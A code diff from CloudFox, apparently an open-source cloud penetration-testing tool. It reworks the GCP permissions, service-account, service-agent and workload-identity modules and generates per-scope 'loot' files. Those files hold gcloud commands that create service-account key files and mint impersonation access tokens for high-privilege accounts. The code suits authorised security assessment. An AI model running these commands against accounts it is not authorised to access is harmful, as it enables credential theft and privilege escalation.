OrgCache *gcpinternal.OrgCache // OrgCache for hierarchy lookups
mu sync.Mutex
// Organization info for output path
OrgIDs []string
@@ -133,11 +140,14 @@ func runGCPPermissionsCommand(cmd *cobra.Command, args []string) {
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectPerms: make(map[string][]ExplodedPermission),
OrgPerms: make(map[string][]ExplodedPermission),
FolderPerms: make(map[string][]ExplodedPermission),
EntityPermissions: []IAMService.EntityPermissions{},
GroupInfos: []IAMService.GroupInfo{},
OrgBindings: []IAMService.PolicyBinding{},
FolderBindings: make(map[string][]IAMService.PolicyBinding),
LootMap: make(map[string]map[string]*internal.LootFile),
OrgLoot: make(map[string]*internal.LootFile),
FolderLoot: make(map[string]*internal.LootFile),
ProjectLoot: make(map[string]*internal.LootFile),
OrgIDs: []string{},
OrgNames: make(map[string]string),
EnumLoot: &internal.LootFile{Name: "permissions-enumeration", Contents: ""},
@@ -156,6 +166,9 @@ func (m *PermissionsModule) Execute(ctx context.Context, logger internal.Logger)
logger.InfoM("Enumerating ALL permissions with full inheritance explosion...", globals.GCP_PERMISSIONS_MODULE_NAME)
logger.InfoM("This includes organization, folder, and project-level bindings", globals.GCP_PERMISSIONS_MODULE_NAME)
// Get OrgCache for hierarchy lookups (used for inheritance-aware routing)
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
// First, try to enumerate organization-level bindings
m.enumerateOrganizationBindings(ctx, logger)
@@ -222,6 +235,9 @@ func (m *PermissionsModule) getAllExplodedPerms() []ExplodedPermission {
for _, perms := range m.OrgPerms {
all = append(all, perms...)
}
for _, perms := range m.FolderPerms {
all = append(all, perms...)
}
for _, perms := range m.ProjectPerms {
all = append(all, perms...)
}
@@ -318,6 +334,7 @@ func (m *PermissionsModule) processProject(ctx context.Context, projectID string
var projectPerms []ExplodedPermission
var orgPerms []ExplodedPermission
var folderPerms []ExplodedPermission
for _, ep := range entityPerms {
for _, perm := range ep.Permissions {
@@ -350,23 +367,20 @@ func (m *PermissionsModule) processProject(ctx context.Context, projectID string
// Detect cross-project access
if ep.EntityType == "ServiceAccount" {
parts := strings.Split(ep.Email, "@")
if len(parts) == 2 {
saParts := strings.Split(parts[1], ".")
if len(saParts) >= 1 {
saProject := saParts[0]
if saProject != projectID {
exploded.IsCrossProject = true
exploded.SourceProject = saProject
}
}
saProject := extractProjectFromPrincipal(ep.Email, m.OrgCache)
if saProject != "" && saProject != projectID {
exploded.IsCrossProject = true
exploded.SourceProject = saProject
}
}
// Route to appropriate scope: org-level permissions go to org, rest to project
if perm.ResourceType == "organization" {
// Route to appropriate scope: org, folder, or project
switch perm.ResourceType {
case "organization":
orgPerms = append(orgPerms, exploded)
} else {
case "folder":
folderPerms = append(folderPerms, exploded)
default:
projectPerms = append(projectPerms, exploded)
}
}
@@ -381,20 +395,27 @@ func (m *PermissionsModule) processProject(ctx context.Context, projectID string
m.OrgPerms[ep.ResourceScopeID] = append(m.OrgPerms[ep.ResourceScopeID], ep)
}
// Store folder-level permissions (keyed by folder ID)
for _, ep := range folderPerms {
m.FolderPerms[ep.ResourceScopeID] = append(m.FolderPerms[ep.ResourceScopeID], ep)
}
// Legacy aggregated fields for stats
m.EntityPermissions = append(m.EntityPermissions, entityPerms...)
m.GroupInfos = append(m.GroupInfos, groupInfos...)
// Generate loot per-project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["permissions-commands"] = &internal.LootFile{
Name: "permissions-commands",
Contents: "# GCP Permissions Commands\n# Generated by CloudFox\n\n",
// Generate loot per-scope based on exploded permissions
// We use a set to track which service accounts we've already added per scope
addedSAsOrg := make(map[string]map[string]bool) // orgID -> email -> added
addedSAsFolder := make(map[string]map[string]bool) // folderID -> email -> added
addedSAsProject := make(map[string]map[string]bool) // projectID -> email -> added
allPerms := append(append(projectPerms, orgPerms...), folderPerms...)
for _, ep := range allPerms {
if ep.EntityType != "ServiceAccount" {
continue
}
}
for _, ep := range entityPerms {
m.addEntityToLoot(projectID, ep)
m.addPermissionToLoot(ep, addedSAsOrg, addedSAsFolder, addedSAsProject)
}
m.mu.Unlock()
@@ -437,55 +458,111 @@ func parseConditionTitle(condition string) string {
// ------------------------------
// Loot File Management
// ------------------------------
func (m *PermissionsModule) addEntityToLoot(projectID string, ep IAMService.EntityPermissions) {
// Only add service accounts with high-privilege permissions
hasHighPriv := false
var highPrivPerms []string
for _, perm := range ep.Permissions {
if isHighPrivilegePermission(perm.Permission) {
hasHighPriv = true
highPrivPerms = append(highPrivPerms, perm.Permission)
// addPermissionToLoot adds a service account to the appropriate scope-based loot file.
// It tracks which SAs have been added per scope to avoid duplicates.
func (m *PermissionsModule) addPermissionToLoot(ep ExplodedPermission,
addedSAsOrg map[string]map[string]bool,
addedSAsFolder map[string]map[string]bool,
addedSAsProject map[string]map[string]bool) {
if ep.EntityType != "ServiceAccount" {
return
}
scopeType := ep.ResourceScopeType
scopeID := ep.ResourceScopeID
email := ep.EntityEmail
// Determine which loot file and tracking map to use
var lootFile *internal.LootFile
var addedSet map[string]bool
switch scopeType {
case "organization":
if m.OrgLoot[scopeID] == nil {
m.OrgLoot[scopeID] = &internal.LootFile{
Name: "permissions-commands",
Contents: "# GCP Permissions Commands (Organization Level)\n# Generated by CloudFox\n\n",
}
}
lootFile = m.OrgLoot[scopeID]
if addedSAsOrg[scopeID] == nil {
addedSAsOrg[scopeID] = make(map[string]bool)
}
addedSet = addedSAsOrg[scopeID]
case "folder":
if m.FolderLoot[scopeID] == nil {
m.FolderLoot[scopeID] = &internal.LootFile{
Name: "permissions-commands",
Contents: "# GCP Permissions Commands (Folder Level)\n# Generated by CloudFox\n\n",
}
}
lootFile = m.FolderLoot[scopeID]
if addedSAsFolder[scopeID] == nil {
addedSAsFolder[scopeID] = make(map[string]bool)
}
addedSet = addedSAsFolder[scopeID]
default: // project
if m.ProjectLoot[scopeID] == nil {
m.ProjectLoot[scopeID] = &internal.LootFile{
Name: "permissions-commands",
Contents: "# GCP Permissions Commands (Project Level)\n# Generated by CloudFox\n\n",
}
}
lootFile = m.ProjectLoot[scopeID]
if addedSAsProject[scopeID] == nil {
addedSAsProject[scopeID] = make(map[string]bool)
}
addedSet = addedSAsProject[scopeID]
}
// Skip if already added to this scope
if addedSet[email] {
return
}
addedSet[email] = true
// Extract project from SA email for commands
saProject := ep.EffectiveProject
if saProject == "" {
// Try to extract from email
parts := strings.Split(email, "@")
if len(parts) == 2 {
saParts := strings.Split(parts[1], ".")
if len(saParts) >= 1 {
saProject = saParts[0]
}
}
}
if ep.EntityType == "ServiceAccount" {
lootFile := m.LootMap[projectID]["permissions-commands"]
if lootFile == nil {
return
}
if hasHighPriv {
lootFile.Contents += fmt.Sprintf(
"# Service Account: %s [HIGH PRIVILEGE]\n"+
"# High-privilege permissions: %s\n"+
"# Roles: %s\n",
ep.Email,
strings.Join(highPrivPerms, ", "),
strings.Join(ep.Roles, ", "),
)
} else {
lootFile.Contents += fmt.Sprintf(
"# Service Account: %s\n"+
"# Roles: %s\n",
ep.Email,
strings.Join(ep.Roles, ", "),
)
}
lootFile.Contents += fmt.Sprintf(
"gcloud iam service-accounts describe %s --project=%s\n"+
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n"+
"gcloud iam service-accounts get-iam-policy %s --project=%s\n"+
"gcloud iam service-accounts keys create ./key.json --iam-account=%s --project=%s\n"+
"gcloud auth print-access-token --impersonate-service-account=%s\n\n",
ep.Email, ep.ProjectID,
ep.Email, ep.ProjectID,
ep.Email, ep.ProjectID,
ep.Email, ep.ProjectID,
ep.Email,
)
// Add service account commands
highPriv := ""
if ep.IsHighPrivilege {
highPriv = " [HIGH PRIVILEGE]"
}
lootFile.Contents += fmt.Sprintf(
"# Service Account: %s%s\n"+
"# Role: %s (at %s/%s)\n",
email, highPriv,
ep.Role, scopeType, scopeID,
)
lootFile.Contents += fmt.Sprintf(
"gcloud iam service-accounts describe %s --project=%s\n"+
"gcloud iam service-accounts keys list --iam-account=%s --project=%s\n"+
"gcloud iam service-accounts get-iam-policy %s --project=%s\n"+
"gcloud iam service-accounts keys create ./key.json --iam-account=%s --project=%s\n"+
"gcloud auth print-access-token --impersonate-service-account=%s\n\n",
email, saProject,
email, saProject,
email, saProject,
email, saProject,
email,
)
}
// isHighPrivilegePermission checks if a permission is considered high-privilege
@@ -505,6 +582,134 @@ func (m *PermissionsModule) initializeEnumerationLoot() {
m.EnumLoot.Contents += "# Use these commands to enumerate entities, roles, and permissions\n\n"
}
// collectAllLootFiles collects all loot files for org-level output (all scopes combined)
func (m *PermissionsModule) collectAllLootFiles() []internal.LootFile {
var lootFiles []internal.LootFile
// Combine all org, folder, and project loot into one file for org-level output
combinedLoot := &internal.LootFile{
Name: "permissions-commands",
Contents: "# GCP Permissions Commands (All Scopes)\n# Generated by CloudFox\n\n",
}
// Add org-level loot
for orgID, loot := range m.OrgLoot {
if loot != nil && loot.Contents != "" {
combinedLoot.Contents += fmt.Sprintf("# === Organization: %s ===\n", orgID)
// Skip the header line from the individual loot
lines := strings.Split(loot.Contents, "\n")
for i, line := range lines {
if i >= 2 { // Skip first 2 header lines
combinedLoot.Contents += line + "\n"
}
}
}
}
// Add folder-level loot
for folderID, loot := range m.FolderLoot {
if loot != nil && loot.Contents != "" {
combinedLoot.Contents += fmt.Sprintf("# === Folder: %s ===\n", folderID)
lines := strings.Split(loot.Contents, "\n")
for i, line := range lines {
if i >= 2 {
combinedLoot.Contents += line + "\n"
}
}
}
}
// Add project-level loot
for projectID, loot := range m.ProjectLoot {
if loot != nil && loot.Contents != "" {
combinedLoot.Contents += fmt.Sprintf("# === Project: %s ===\n", projectID)
lines := strings.Split(loot.Contents, "\n")
for i, line := range lines {
if i >= 2 {
combinedLoot.Contents += line + "\n"
}
}
}
}
// Only add if there's actual content beyond the header
if len(combinedLoot.Contents) > 60 { // More than just the header
lootFiles = append(lootFiles, *combinedLoot)
}
// Add enumeration loot file
if m.EnumLoot != nil && m.EnumLoot.Contents != "" {
lootFiles = append(lootFiles, *m.EnumLoot)
}
return lootFiles
}
// collectLootFilesForProject collects loot files for a specific project with inheritance.
// This includes: org-level loot + ancestor folder loot + project-level loot
func (m *PermissionsModule) collectLootFilesForProject(projectID string) []internal.LootFile {
var lootFiles []internal.LootFile
combinedLoot := &internal.LootFile{
Name: "permissions-commands",
Contents: "# GCP Permissions Commands\n# Generated by CloudFox\n\n",
}
// Get ancestry for this project
var projectOrgID string
var ancestorFolders []string
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
}
// Add org-level loot if this project belongs to an org
if projectOrgID != "" {
if loot, ok := m.OrgLoot[projectOrgID]; ok && loot != nil && loot.Contents != "" {
combinedLoot.Contents += fmt.Sprintf("# === Inherited from Organization: %s ===\n", projectOrgID)
lines := strings.Split(loot.Contents, "\n")
for i, line := range lines {
if i >= 2 {
combinedLoot.Contents += line + "\n"
}
}
}
}
// Add folder-level loot for ancestor folders (in order from org to project)
// Reverse the slice to go from org-level folders to project-level folders
for i := len(ancestorFolders) - 1; i >= 0; i-- {
folderID := ancestorFolders[i]
if loot, ok := m.FolderLoot[folderID]; ok && loot != nil && loot.Contents != "" {
combinedLoot.Contents += fmt.Sprintf("# === Inherited from Folder: %s ===\n", folderID)
lines := strings.Split(loot.Contents, "\n")
for i, line := range lines {
if i >= 2 {
combinedLoot.Contents += line + "\n"
}
}
}
}
// Add project-level loot
if loot, ok := m.ProjectLoot[projectID]; ok && loot != nil && loot.Contents != "" {
combinedLoot.Contents += fmt.Sprintf("# === Project: %s ===\n", projectID)
lines := strings.Split(loot.Contents, "\n")
for i, line := range lines {
if i >= 2 {
combinedLoot.Contents += line + "\n"
}
}
}
// Only add if there's actual content beyond the header
if len(combinedLoot.Contents) > 50 {
lootFiles = append(lootFiles, *combinedLoot)
}
return lootFiles
}
// generateEnumerationLoot generates commands to enumerate permissions
func (m *PermissionsModule) generateEnumerationLoot() {
loot := m.EnumLoot
@@ -838,12 +1043,6 @@ func (m *PermissionsModule) writeOutput(ctx context.Context, logger internal.Log
func (m *PermissionsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
header := m.getTableHeader()
// Build hierarchical output data
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Determine org ID - prefer discovered orgs, fall back to hierarchy
orgID := ""
if len(m.OrgIDs) > 0 {
@@ -852,23 +1051,26 @@ func (m *PermissionsModule) writeHierarchicalOutput(ctx context.Context, logger
orgID = m.Hierarchy.Organizations[0].ID
}
// Collect all loot files
var allLootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
allLootFiles = append(allLootFiles, *loot)
}
}
// Collect all loot files for org-level output
allLootFiles := m.collectAllLootFiles()
// Get all permissions for output
allPerms := m.getAllExplodedPerms()
// Check if we should use single-pass tee streaming for large datasets
if orgID != "" && len(allPerms) >= 50000 {
m.writeHierarchicalOutputTee(ctx, logger, orgID, header, allPerms, allLootFiles)
return
}
// Add enumeration loot file
if m.EnumLoot != nil && m.EnumLoot.Contents != "" {
allLootFiles = append(allLootFiles, *m.EnumLoot)
// Standard output path for smaller datasets
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
if orgID != "" {
// DUAL OUTPUT: Complete aggregated output at org level
allPerms := m.getAllExplodedPerms()
body := m.permsToTableBody(allPerms)
tables := []internal.TableFile{{
Name: "permissions",
@@ -877,7 +1079,7 @@ func (m *PermissionsModule) writeHierarchicalOutput(ctx context.Context, logger
}}
outputData.OrgLevelData[orgID] = PermissionsOutput{Table: tables, Loot: allLootFiles}
// DUAL OUTPUT: Filtered per-project output
// DUAL OUTPUT: Filtered per-project output with inherited loot
for projectID, perms := range m.ProjectPerms {
if len(perms) == 0 {
continue
@@ -888,11 +1090,12 @@ func (m *PermissionsModule) writeHierarchicalOutput(ctx context.Context, logger
Header: header,
Body: body,
}}
outputData.ProjectLevelData[projectID] = PermissionsOutput{Table: tables, Loot: nil}
// Get loot for this project with inheritance (org + folders + project)
projectLoot := m.collectLootFilesForProject(projectID)
outputData.ProjectLevelData[projectID] = PermissionsOutput{Table: tables, Loot: projectLoot}
}
} else if len(m.ProjectIDs) > 0 {
// FALLBACK: No org discovered, output complete data to first project
allPerms := m.getAllExplodedPerms()
body := m.permsToTableBody(allPerms)
tables := []internal.TableFile{{
Name: "permissions",
@@ -920,6 +1123,94 @@ func (m *PermissionsModule) writeHierarchicalOutput(ctx context.Context, logger
}
}
// writeHierarchicalOutputTee uses single-pass streaming for large datasets.
// It streams through all permissions once, writing each row to:
// 1. The org-level output (always)
// 2. The appropriate project-level output based on EffectiveProject
func (m *PermissionsModule) writeHierarchicalOutputTee(ctx context.Context, logger internal.Logger, orgID string, header []string, allPerms []ExplodedPermission, lootFiles []internal.LootFile) {
logger.InfoM(fmt.Sprintf("Using single-pass tee streaming for %d permissions", len(allPerms)), globals.GCP_PERMISSIONS_MODULE_NAME)
pathBuilder := m.BuildPathBuilder()
// Build the table data
body := m.permsToTableBody(allPerms)
tables := []internal.TableFile{{
Name: "permissions",
Header: header,
Body: body,
}}
// Build reverse lookup: for each folder, which projects are under it
// This allows O(1) lookup during row routing
folderToProjects := make(map[string][]string)
orgToProjects := make(map[string][]string)
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
for _, projectID := range m.ProjectIDs {
// Get the org this project belongs to
projectOrgID := m.OrgCache.GetProjectOrgID(projectID)
if projectOrgID != "" {
orgToProjects[projectOrgID] = append(orgToProjects[projectOrgID], projectID)
}
// Get all ancestor folders for this project
ancestorFolders := m.OrgCache.GetProjectAncestorFolders(projectID)
for _, folderID := range ancestorFolders {
folderToProjects[folderID] = append(folderToProjects[folderID], projectID)
}
}
}
// Create a row router that routes based on scope type and OrgCache
rowRouter := func(row []string) []string {
// Row format: [ScopeType, ScopeID, ScopeName, EntityType, Identity, Permission, ...]
scopeType := row[0]
scopeID := row[1]
switch scopeType {
case "project":
// Direct project permission - route to that project only
return []string{scopeID}
case "organization":
// Org permission - route to all projects under this org
if projects, ok := orgToProjects[scopeID]; ok {
return projects
}
// Fallback if OrgCache not populated: route to all projects
return m.ProjectIDs
case "folder":
// Folder permission - route to all projects under this folder
if projects, ok := folderToProjects[scopeID]; ok {
return projects
}
// Fallback if folder not in cache: route to all projects
return m.ProjectIDs
default:
return nil
}
}
// Use the tee streaming function
config := internal.TeeStreamingConfig{
OrgID: orgID,
ProjectIDs: m.ProjectIDs,
Tables: tables,
LootFiles: lootFiles,
ProjectLootCollector: m.collectLootFilesForProject,
RowRouter: rowRouter,
PathBuilder: pathBuilder,
Format: m.Format,
Verbosity: m.Verbosity,
Wrap: m.WrapTable,
}
err := internal.HandleHierarchicalOutputTee(config)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing tee streaming output: %v", err), globals.GCP_PERMISSIONS_MODULE_NAME)
m.CommandCounter.Error++
}
}
// writeFlatOutput writes all output to a single directory (legacy mode)
func (m *PermissionsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
header := m.getTableHeader()
@@ -938,19 +1229,8 @@ func (m *PermissionsModule) writeFlatOutput(ctx context.Context, logger internal
return body[i][5] < body[j][5]
})
// Collect all loot files
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
// Add enumeration loot file
if m.EnumLoot != nil && m.EnumLoot.Contents != "" {
lootFiles = append(lootFiles, *m.EnumLoot)
}
// Collect all loot files for flat output
lootFiles := m.collectAllLootFiles()
tables := []internal.TableFile{{
Name: "permissions",
Regular → Executable
+615 -268
View File
File diff suppressed because it is too large. Load diff
+20 -55
View File
@@ -337,51 +337,38 @@ func (m *ServiceAccountsModule) addServiceAccountToLoot(projectID string, sa Ser
keyFileName := strings.Split(sa.Email, "@")[0]
// Build summary info
dwdStatus := "No"
if sa.OAuth2ClientID != "" {
dwdStatus = fmt.Sprintf("Yes (Client ID: %s)", sa.OAuth2ClientID)
}
defaultSAInfo := "No"
if sa.IsDefaultSA {
defaultSAInfo = fmt.Sprintf("Yes (%s)", sa.DefaultSAType)
}
lootFile.Contents += fmt.Sprintf(
"# ==========================================\n"+
"# SERVICE ACCOUNT: %s\n"+
"# ==========================================\n"+
"# Project: %s\n"+
"# Display Name: %s\n"+
"# Disabled: %v\n"+
"# Default SA: %s\n"+
"# DWD Enabled: %s\n",
"# ==========================================\n",
sa.Email,
projectID,
sa.DisplayName,
sa.Disabled,
defaultSAInfo,
dwdStatus,
)
// Add key summary
if sa.DisplayName != "" {
lootFile.Contents += fmt.Sprintf("# Display Name: %s\n", sa.DisplayName)
}
if sa.Disabled {
lootFile.Contents += "# DISABLED\n"
}
if sa.IsDefaultSA {
lootFile.Contents += fmt.Sprintf("# Default SA: %s\n", sa.DefaultSAType)
}
if sa.OAuth2ClientID != "" {
lootFile.Contents += fmt.Sprintf("# DWD Enabled (Client ID: %s)\n", sa.OAuth2ClientID)
}
// Add key summary - only show if keys exist
userKeyCount := 0
googleKeyCount := 0
for _, key := range sa.Keys {
if key.KeyType == "USER_MANAGED" {
userKeyCount++
} else if key.KeyType == "SYSTEM_MANAGED" {
googleKeyCount++
}
}
lootFile.Contents += fmt.Sprintf("# User Managed Keys: %d\n", userKeyCount)
lootFile.Contents += fmt.Sprintf("# Google Managed Keys: %d\n", googleKeyCount)
if sa.OldestKeyAge > 0 {
lootFile.Contents += fmt.Sprintf("# Oldest Key Age: %d days\n", sa.OldestKeyAge)
if sa.OldestKeyAge > 90 {
lootFile.Contents += "# WARNING: Key older than 90 days - rotation recommended\n"
}
if userKeyCount > 0 {
lootFile.Contents += fmt.Sprintf("# User Managed Keys: %d\n", userKeyCount)
}
if sa.OldestKeyAge > 90 {
lootFile.Contents += fmt.Sprintf("# WARNING: Key older than 90 days (%d days)\n", sa.OldestKeyAge)
}
// Add impersonation info if available
@@ -455,28 +442,6 @@ gcloud projects list --impersonate-service-account=%s
`, sa.OAuth2ClientID, projectID, keyFileName)
}
// Add section for old keys
if sa.HasOldKeys {
lootFile.Contents += fmt.Sprintf(`# === KEY ROTATION ===
# This SA has keys older than 90 days (%d days)
# List keys with age
gcloud iam service-accounts keys list --iam-account=%s --project=%s --format='table(name.basename(), keyType, validAfterTime, validBeforeTime)'
`, sa.OldestKeyAge, sa.Email, projectID)
}
// Add section for default SA
if sa.IsDefaultSA {
lootFile.Contents += fmt.Sprintf(`# === DEFAULT SERVICE ACCOUNT ===
# This is a %s default service account
# Check roles granted to this SA
gcloud projects get-iam-policy %s --format=json | jq -r '.bindings[] | select(.members[] | contains("%s")) | .role'
`, sa.DefaultSAType, projectID, sa.Email)
}
lootFile.Contents += "\n"
}
+13 -108
View File
@@ -49,10 +49,11 @@ TIP: Run foxmapper first to populate the Attack Paths column with privesc/exfil/
type ServiceAgentsModule struct {
gcpinternal.BaseGCPModule
ProjectAgents map[string][]serviceagentsservice.ServiceAgentInfo // projectID -> agents
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // Cached FoxMapper analysis results
mu sync.Mutex
ProjectAgents map[string][]serviceagentsservice.ServiceAgentInfo // projectID -> agents
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // Cached FoxMapper analysis results
OrgCache *gcpinternal.OrgCache
mu sync.Mutex
}
// ------------------------------
@@ -91,6 +92,9 @@ func (m *ServiceAgentsModule) Execute(ctx context.Context, logger internal.Logge
// Get FoxMapper cache from context
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
// Get OrgCache for project number resolution
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_SERVICEAGENTS_MODULE_NAME, m.processProject)
allAgents := m.getAllAgents()
@@ -134,7 +138,7 @@ func (m *ServiceAgentsModule) processProject(ctx context.Context, projectID stri
}
svc := serviceagentsservice.New()
agents, err := svc.GetServiceAgents(projectID)
agents, err := svc.GetServiceAgents(projectID, m.OrgCache)
if err != nil {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.ErrorM(fmt.Sprintf("Error getting service agents: %v", err), globals.GCP_SERVICEAGENTS_MODULE_NAME)
@@ -178,32 +182,17 @@ func (m *ServiceAgentsModule) addAgentToLoot(projectID string, agent serviceagen
crossProjectNote = " [CROSS-PROJECT from " + agent.SourceProject + "]"
}
// Check for high-risk roles
var highRiskRoles []string
for _, role := range agent.Roles {
riskLevel := getRiskLevel(role)
if riskLevel != "-" {
highRiskRoles = append(highRiskRoles, riskLevel)
}
}
highRiskNote := ""
if len(highRiskRoles) > 0 {
highRiskNote = " [HIGH RISK: " + strings.Join(highRiskRoles, ", ") + "]"
}
lootFile.Contents += fmt.Sprintf(
"# ==========================================\n"+
"# SERVICE AGENT: %s%s%s\n"+
"# SERVICE AGENT: %s%s\n"+
"# ==========================================\n"+
"# Email: %s\n"+
"# Project: %s\n"+
"# Description: %s\n",
agent.ServiceName, crossProjectNote, highRiskNote,
agent.Email, agent.ProjectID, agent.Description,
agent.ServiceName, crossProjectNote,
agent.Email, agent.Description,
)
if agent.SourceProject != "" {
if agent.IsCrossProject && agent.SourceProject != "" {
lootFile.Contents += fmt.Sprintf("# Source Project: %s\n", agent.SourceProject)
}
@@ -243,26 +232,6 @@ func (m *ServiceAgentsModule) writeOutput(ctx context.Context, logger internal.L
}
}
// High-risk roles that grant significant privileges
var highRiskRoles = map[string]bool{
"roles/owner": true,
"roles/editor": true,
"roles/iam.serviceAccountAdmin": true,
"roles/iam.serviceAccountKeyAdmin": true,
"roles/iam.serviceAccountTokenCreator": true,
"roles/iam.serviceAccountUser": true,
"roles/iam.workloadIdentityUser": true,
"roles/compute.admin": true,
"roles/compute.instanceAdmin": true,
"roles/container.admin": true,
"roles/cloudbuild.builds.editor": true,
"roles/cloudfunctions.admin": true,
"roles/run.admin": true,
"roles/storage.admin": true,
"roles/secretmanager.admin": true,
"roles/cloudkms.admin": true,
}
// getHeader returns the table header
func (m *ServiceAgentsModule) getHeader() []string {
return []string{
@@ -272,71 +241,11 @@ func (m *ServiceAgentsModule) getHeader() []string {
"Source Project",
"Cross-Project",
"Role",
"Risk",
"Attack Paths",
"Description",
}
}
// getRiskLevel returns the risk level for a role
// Returns the risk reason if high risk, or "-" if not
func getRiskLevel(role string) string {
// Check known high-risk roles
riskReasons := map[string]string{
"roles/owner": "Owner",
"roles/editor": "Editor",
"roles/iam.serviceAccountAdmin": "SA Admin",
"roles/iam.serviceAccountKeyAdmin": "Key Admin",
"roles/iam.serviceAccountTokenCreator": "Token Creator",
"roles/iam.serviceAccountUser": "SA User",
"roles/iam.workloadIdentityUser": "Workload ID",
"roles/compute.admin": "Compute Admin",
"roles/compute.instanceAdmin": "Instance Admin",
"roles/compute.instanceAdmin.v1": "Instance Admin",
"roles/container.admin": "GKE Admin",
"roles/container.clusterAdmin": "Cluster Admin",
"roles/cloudbuild.builds.editor": "Build Editor",
"roles/cloudfunctions.admin": "Functions Admin",
"roles/run.admin": "Run Admin",
"roles/storage.admin": "Storage Admin",
"roles/secretmanager.admin": "Secrets Admin",
"roles/cloudkms.admin": "KMS Admin",
"roles/bigquery.admin": "BigQuery Admin",
"roles/pubsub.admin": "Pub/Sub Admin",
"roles/logging.admin": "Logging Admin",
"roles/resourcemanager.projectIamAdmin": "IAM Admin",
"roles/resourcemanager.folderAdmin": "Folder Admin",
"roles/resourcemanager.organizationAdmin": "Org Admin",
}
if reason, ok := riskReasons[role]; ok {
return reason
}
// Check for admin/owner patterns
if strings.HasSuffix(role, ".admin") {
// Extract service name for cleaner output
parts := strings.Split(role, "/")
if len(parts) == 2 {
serviceParts := strings.Split(parts[1], ".")
if len(serviceParts) > 0 {
// Capitalize first letter
name := serviceParts[0]
if len(name) > 0 {
return strings.ToUpper(name[:1]) + name[1:] + " Admin"
}
}
}
return "Admin Role"
}
if strings.Contains(role, "Admin") {
return "Admin Role"
}
return "-"
}
// writeHierarchicalOutput writes output to per-project directories
func (m *ServiceAgentsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
header := m.getHeader()
@@ -464,8 +373,6 @@ func (m *ServiceAgentsModule) agentsToTableBody(agents []serviceagentsservice.Se
// One row per role
if len(agent.Roles) > 0 {
for _, role := range agent.Roles {
riskLevel := getRiskLevel(role)
body = append(body, []string{
m.GetProjectName(agent.ProjectID),
agent.ServiceName,
@@ -473,7 +380,6 @@ func (m *ServiceAgentsModule) agentsToTableBody(agents []serviceagentsservice.Se
sourceProject,
crossProject,
role,
riskLevel,
attackPaths,
agent.Description,
})
@@ -487,7 +393,6 @@ func (m *ServiceAgentsModule) agentsToTableBody(agents []serviceagentsservice.Se
sourceProject,
crossProject,
"-",
"-",
attackPaths,
agent.Description,
})
+64 -446
View File
@@ -8,18 +8,18 @@ import (
gkeservice "github.com/BishopFox/cloudfox/gcp/services/gkeService"
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
workloadidentityservice "github.com/BishopFox/cloudfox/gcp/services/workloadIdentityService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
iam "google.golang.org/api/iam/v1"
)
var GCPWorkloadIdentityCommand = &cobra.Command{
Use: globals.GCP_WORKLOAD_IDENTITY_MODULE_NAME,
Aliases: []string{"wi", "gke-identity", "workload-id"},
Short: "Enumerate GKE Workload Identity and Workload Identity Federation",
Long: `Enumerate Workload Identity configurations including GKE bindings and external identity federation.
Short: "Enumerate GKE Workload Identity (K8s SA -> GCP SA bindings)",
Long: `Enumerate GKE Workload Identity configurations and K8s-to-GCP service account bindings.
Features:
- Lists GKE clusters with Workload Identity enabled
@@ -28,27 +28,29 @@ Features:
- Maps namespace/service account to GCP permissions
- Detects overly permissive bindings
Workload Identity Federation (External Identities):
- Lists Workload Identity Pools and Providers
- Analyzes AWS, OIDC (GitHub Actions, GitLab CI), and SAML providers
- Identifies risky provider configurations (missing attribute conditions)
- Shows federated identity bindings to GCP service accounts
- Generates exploitation commands for pentesting`,
Security Considerations:
- K8s pods with Workload Identity inherit all permissions of the bound GCP SA
- High-privilege GCP SAs bound to K8s SAs are prime escalation targets
- Any pod in the namespace/SA can assume the GCP identity
TIP: Run 'identity-federation' to enumerate external identity federation (GitHub Actions, AWS, GitLab CI, etc.).
TIP: Run 'gke' to see full cluster security configuration and node pool details.
TIP: Run foxmapper first to populate the Attack Paths column with privesc/exfil/lateral movement analysis.`,
Run: runGCPWorkloadIdentityCommand,
}
// WorkloadIdentityBinding represents a binding between K8s SA and GCP SA
type WorkloadIdentityBinding struct {
ProjectID string `json:"projectId"`
ClusterName string `json:"clusterName"`
ClusterLocation string `json:"clusterLocation"`
WorkloadPool string `json:"workloadPool"`
KubernetesNS string `json:"kubernetesNamespace"`
KubernetesSA string `json:"kubernetesServiceAccount"`
GCPServiceAccount string `json:"gcpServiceAccount"`
GCPSARoles []string `json:"gcpServiceAccountRoles"`
